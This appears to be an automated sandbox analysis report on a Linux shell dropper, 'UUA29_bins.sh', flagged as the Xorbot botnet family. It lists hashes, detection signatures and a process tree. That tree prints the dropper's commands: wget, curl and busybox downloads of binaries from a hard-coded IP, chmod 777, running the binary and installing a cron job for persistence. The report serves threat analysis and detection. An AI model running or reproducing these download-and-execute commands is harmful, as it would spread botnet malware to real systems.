Analysis
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max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
02-12-2024 15:17
Static task
static1
Behavioral task
behavioral1
Sample
UUA29_bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
UUA29_bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
UUA29_bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
UUA29_bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
UUA29_bins.sh
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Size
10KB
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MD5
436845a459c71b19ac21070d4569df28
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SHA1
3ae505085c1bad8560b465ce273cbf1acf86e6da
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SHA256
703bc61dabb824da3d539d16dc77e4524c08eda72faa12e17fda26395f4360a8
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SHA512
82c2920b53776fa210d9c01eb1a2ec4a246466b3ffa34de150e6d1e42e1b4045f09e41cd774739dac237208a820cf1df7e9248576acf56ecd32735654c5a16e3
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SSDEEP
192:jo9H3HvHt2qYr7reSUZF6pRVLWW8qiSRVLWW+qiFH3HvHt2qKr7reSwk:jo9XPtF6yqihqiFXPU
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
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Contacts a large (2188) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1490 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg 1491 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg -
Renames itself 1 IoCs
pid Process 1492 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.Skuarq crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/1552/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1683/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/5/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/267/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1465/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1635/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/16/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/158/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1605/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1564/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1626/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/12/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1537/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1544/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1609/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1661/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1686/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/26/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1147/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1586/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1517/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1585/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1634/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/423/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1518/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1579/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1502/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1534/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1558/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1562/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1602/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/84/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/417/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1355/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1671/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1603/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/115/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/538/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1267/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1559/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1604/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1662/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/35/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/338/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1505/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/446/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/589/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1625/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/80/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/85/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1546/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1659/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1667/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1528/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1529/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1536/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1567/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1646/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/24/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/159/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/164/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/476/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg File opened for reading /proc/1500/cmdline l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg wget File opened for modification /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg curl File opened for modification /tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg busybox
Processes
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/tmp/UUA29_bins.sh/tmp/UUA29_bins.sh1⤵PID:1465
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/bin/rm/bin/rm bins.sh2⤵PID:1466
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/usr/bin/wgetwget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Writes file to tmp directory
PID:1467
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/usr/bin/curlcurl -O http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Writes file to tmp directory
PID:1480
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Writes file to tmp directory
PID:1483
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/bin/chmodchmod 777 l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- File and Directory Permissions Modification
PID:1490
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/tmp/l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg./l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1491 -
/bin/shsh -c "crontab -l"3⤵PID:1493
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/usr/bin/crontabcrontab -l4⤵PID:1494
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/bin/shsh -c "crontab -"3⤵PID:1495
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1496
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/bin/rmrm l0lQ5PEMDjRvzjXoSsVj1NK0aG3s4ELsNg2⤵PID:1498
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/usr/bin/wgetwget http://216.126.231.240/bins/U64O4JdAV1ijXiz9GrfvktdZn6clUcVwBl2⤵PID:1501
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD56b3d8cc26b29146b12dd17e3ab941cb9
SHA10c24d507eb6786f38a16113462f37b2a1e4ca946
SHA2568808891cb0d86bc1c5279045dcc1a7de86bb06ac4d39a9c233d170e76909e155
SHA512da396b459c2c96aa50af1aa46754e5026add51af31c1798fd2e1d39fd283c643550a7c0d7e721a1a09bd433c24d897be4a0cd568d2074181ff50f2ba3c9f259b